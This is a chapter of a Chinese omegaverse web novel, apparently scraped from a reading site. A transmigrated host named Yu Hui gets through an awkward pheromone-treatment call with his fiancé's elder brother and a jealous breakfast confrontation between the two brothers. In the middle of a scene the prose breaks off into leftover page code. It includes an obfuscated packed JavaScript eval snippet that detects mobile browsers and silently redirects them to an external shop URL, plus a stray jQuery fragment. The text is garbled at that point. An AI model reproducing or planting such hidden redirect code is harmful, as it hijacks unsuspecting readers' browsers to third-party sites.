系统真急了!
可郁洄怎么都听不到它的回应,还以为它是在哪里触犯到快穿局的规则所以被禁言了,所以只好作罢。
快穿局制定给宿主和系统的规则又臭又长,规则手册抵得上一本新华字典的厚度。
系统不小心触犯了规则被禁言也正常。
系统:【……】
系统:谁触犯规则了!分明是有个狗男人在背后暗搓搓给我穿小鞋呀哇啊啊啊啊!
郁洄放下了和系统交流的心思,转而去看从刚才开始就一直在嗡嗡作响的手机。
“……”
亮起的手机屏幕上只有简简单单两个字:
[鹤哥]
郁洄犹豫了会儿,接通,“鹤哥?”
手机里传来一阵脚步声,紧接着便是一阵略微急促的喘息。
像是刚运动过似的。
“……”
过了会儿,那头才传出声音。
“小洄。”
Alpha的声音低哑,喘息愈发急促,只说了简短两个字,前后却都停顿了许多回。
中间还夹杂着几声可疑的闷哼。
“……”
傅聿鹤到底是在干什么?
郁洄都开始怀疑自己是不是太多心了,可听着那阵喘息,他的耳根子都开始发烫,心情……很尴尬。
在他第三次考虑挂断电话后,那头的人终于平稳下呼吸。
“抱歉。”
“我的信息素因为刚才的治疗突然躁动了。”
他深深喘息道。
这是傅聿鹤第一次体验操控自己信息素的感觉。
他从出生起就伴随有信息素紊乱的病症,腺体很久之前就陷入假死的僵硬状态,这么多年下来,从没能正常调度过自己的信息素。
郁洄看过傅聿鹤的资料,知道这点。
“……没关系。”
“秋朝说我们的匹配度很高,你的信息素疏导对我有很强的安抚作用,今天……很舒服。”
“如果之后的治疗进度可观,或许只需要半年就可以了。”
郁洄垂眸,轻应了声,“嗯。”
半年的时间并不长,粗略一算,应该刚好到他的剧情结束?
这个世界的主线剧情结束,他离开前傅聿鹤也刚好结束治疗。
希望一切顺利。
系统:额看未必这么顺利,科科科科(冷笑)
“傅聿恒那儿,我已经打过招呼了,他不会来找你麻烦。”
“如果你的工作室有什么需要,都可以打我电话。”
“好。”
郁洄对这件事倒没什么犹豫的,本来他给傅聿鹤提供信息素的条件就是对方在一定程度上资助他的工作室。
“那……晚安?”
“晚安。”
郁洄放下手机,长叹出一口气。
四肢都摊开在床上,脑袋因为一天的疲惫止不住的发沉,可越是临近睡意朦胧的时候,那段不想回忆的记忆就越是在他脑海里清晰。
他的脑子开始不受控了。
清晰的回放起在他们第一次进行信息素疏导时,对方从原本只是和他相对的姿势,到后来贴近。
从原本的客气,到那只攀附着他腰身而上的手。
那双如墨深似的眼睛毫无清醒神志的望着他,明明是在平日里最清醒的,偏偏那一刻像是初生的稚鹿一样。
懵懂的,什么也意识不到。
哪怕是整个人几乎都蜷进了他怀里,哪怕已经感受到他根本抱不住,还是会把整个人,整张脸都埋进他的怀里。
“……”
郁洄头疼翻了个身,把脸埋进被窝里。
这种错觉真的很诡异!
哪怕是就这样闷着脸,那种被人揉捏腺体,像是被微弱电流流经过脊背一样的酥麻触感,那种被人用灼热潮.湿的吐息拂过皮肤的羞耻依然残存清晰。
郁洄的身体不受控的抖了一下。
他忍不住闭上眼,齿尖都将柔软稠红的唇瓣咬出了一点儿略深的齿印,钝痛也带不走燥热。
郁洄翻了个身。
他突然有点后悔答应傅聿鹤的合作了……
……
【宿主,这兄弟俩什么毛病,都看你干什么?】
早餐桌上,系统看着难得早起的傅聿恒,又看了看邻座在郁洄身边的傅聿鹤。
这兄弟俩一个比一个奇怪。
早餐不吃饭,看人就能看饱了?
【他们俩之间的气氛我觉得好奇怪,傅聿恒怎么一副警惕的样子?】
系统眯起眼看。
这是知道他哥的小心思,想开始防人了?
果然,再蠢的Alpha在发现老婆被人惦记的时候也会一下变得聪明啊。
郁洄没抬头,安静吃自己的。
他不想掺合进这两兄弟的家务事里。
“小洄。”
身旁的声音并不如郁洄所希望的那样自觉,靠近过来时,还体贴的为郁洄推来一杯温热的饮品。
“后天,有空吗?”
不等郁洄回答,另一道声音就先带着一点怀疑的质问。
“后天你们要去做什么?”
同样的一杯热饮被另一只手摆在郁洄手边。
玻璃的杯底触到桌面,发出清脆又警醒的声音。
两道声音撞在一块儿。
“郁洄!”“小洄。”
“……”
郁洄不能再装木头人了,叹了口气去看他们俩。
左边一个,右边一个。
他们今天好像都很闲。
一个早该去上班的这个点还在家里,一个喜欢赖床的居然起这么早。
郁洄有点不解:“你们都看我做什么?”
傅聿恒眯着眼追问他:“你后天本来要和我哥去做什么?”
郁洄没回他。
“看病,秋朝会来给我们做体检。”傅聿鹤替他开了口。
“他昨天不就来过了?为什么还要再来一次?”
“和你无关。”
“你!……”傅聿恒被傅聿鹤语气淡淡的一句话给气的拍桌站起来。
他冷着脸:“哥,你别忘了他是我的未婚妻,你和他走这么近,被人看到说闲话怎么办?”
“……”
郁洄吐了口气,不想夹在两人中间。
他放下餐具起身,“你们慢用,我先去上班了。”
“等等!”傅聿恒截住他,眯起的眼睛上下打量他,像是非要从他身上找出一个不对劲的地方,一定要坐实某种猜想似的。
郁洄没心情陪他耗。
剧情之外,他就不是那个痴情的未婚妻了。
他目光淡淡的看了傅聿恒一眼,不动声色的避开对方抓过来的手。
扶着椅子时,身体微微后倾,手扶了扶腰。
昨天撑着人时有点闪到了,现在还是很难受。
“有事等我下班回来再说吧。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809345|210778||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
说完,他身后也伸出一只手。
那只骨感分明的手落在他腰后一点的位置,轻拍了下,“难受?”
“……”
郁洄抿着唇避开了,也偏开目光。
傅聿恒把两人的动作都看在眼里。
他的脸色更难看了。
毕竟他的未婚妻一早就表现出一副没睡好,好像很累的样子,从椅子上起来都要扶腰,他哥呢?一反常态,一副神清气爽的样子,还那么暧昧的去摸他未婚妻的腰!
有哪个哥哥会这么亲密的摸弟媳的腰的?
傅聿恒倒是想说服自己呢,可这俩人的表现让他怎么可能不怀疑?
他们昨天到底干嘛了?后天又要干什么去?!
郁洄这幅样子……是他哥弄的?!
傅聿恒脑子里闪过无数种可能。
可惜,不等他再次质问出口,眉眼间都透露出一种被折腾过一番导致没休息好的未婚妻就已经先远离了他们。
“路上容易堵,我先走了。”
漂亮又疲倦的Omgea推开腰后的那只手,也避开身前的人匆匆离开。
单薄的背影在光下都显得脆弱疲惫。
傅聿恒盯着他,深色的瞳孔慢慢地收缩。
在终于发现某一个点时,猛烈的颤动起来。
他发现,他的未婚妻后颈的腺体上,竟然有一点儿红印子!
“……!”
原本只是胡思乱想的猜测好像突然就被一锤定音,傅聿恒的呼吸都变得急促。
他脚下一晃,迫切的想把自己刚才看到的东西给看清楚,可Omega早就走远了。
一切的猜想似乎得到了证实,又好像都得不到证实,只能停留在他的脑子里胡乱的发挥。
沉默半晌,他才终于想起这件事情里的另一个当事人。
那个疑似的“奸夫”,他的亲哥哥。
傅聿鹤。
傅聿恒的语气很急,脚下却有些站不稳的胡乱扶住一个椅子的搀扶。
“你们昨晚到底背着我做了什么?!”
“你到底还记不记得他是我的未婚妻?名义上你可是他的大哥!”
被质问的人沉稳坐在桌首,慢条斯理的享用着早餐。
丝毫没有顾及弟弟的质问,他随手端起刚才被青年忽视的那一杯热饮品了口。
“你觉得我们能做什么?”
“你!……”
“你这幅气急败坏的样子,沈泽见过吗?”
“他知道你一边说要追求他,一边又不打算放弃自己的未婚妻,甚至怀疑自己的未婚妻和大哥有染吗?”
“……”
傅聿恒一瞬间僵住了。
面上难堪的表情都像是被人用遥控定格一样,难堪又僵硬的看着面前斯文优雅的Alpha起身。
直到那道沉稳的嗓音再次响起,语气平静又像是夹着几丝不分明的嘲讽。
“我忘了。”
“他应该不知道,毕竟他从来都没在乎过你。”
“……”
傅聿恒的呼吸变得非常急,整个人的面色都涨红起来。
浑身都开始发颤,好像下一秒就要发疯了。
偏偏站在他面前的Alpha无动于衷。
在他终于要忍不住怒火的那一刻,对方才又给出了一个新的建议。
一下子就浇灭他的全部怒意。
“不是想要追他吗?”
“我可以帮你。”